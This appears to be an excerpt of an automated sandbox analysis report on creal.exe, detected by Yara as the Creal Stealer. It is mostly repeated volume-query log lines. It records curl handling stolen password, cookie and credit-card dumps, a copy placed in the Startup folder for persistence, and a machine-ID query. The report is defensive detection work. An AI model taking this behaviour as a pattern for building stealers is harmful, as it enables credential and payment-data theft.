Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\_overlapped.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242\pyexpat.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI75242 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\creal.exe	Queries volume information: C:\Users\user\Desktop\creal.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\curl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\crpasswords.txt VolumeInformation	Jump to behavior
Source: C:\Windows\System32\curl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\crcookies.txt VolumeInformation	Jump to behavior
Source: C:\Windows\System32\curl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\crcreditcards.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Hash VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\PublicKey VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Util VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\cryptography-41.0.7.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\importlib_metadata-7.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922 VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922 VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI42922 VolumeInformation

Source: C:\Users\user\Desktop\creal.exe

Code function: 0_2_00007FF67A60C560 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF67A60C560

Source: C:\Users\user\Desktop\creal.exe

Code function: 0_2_00007FF67A626470 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF67A626470

Source: C:\Windows\System32\curl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Creal Stealer

Source: Yara match	File source: 0000001C.00000003.1716089607.000002085E24E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1717159393.000002085E25C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1715402115.000002085F215000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1713151539.000002085E24C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1711307435.000002085F388000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1530242051.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570834386.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1551554678.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1535265611.00000185BBDD4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1748038824.000002085F38A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506829823.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1546407514.00000185BBDF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1552635462.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1723970775.000002085E860000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1570617892.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1526078196.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1531149169.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1546301683.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1703156457.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1520628565.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1520628565.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.1712107588.000002085E22D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1737494959.000002085E25D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
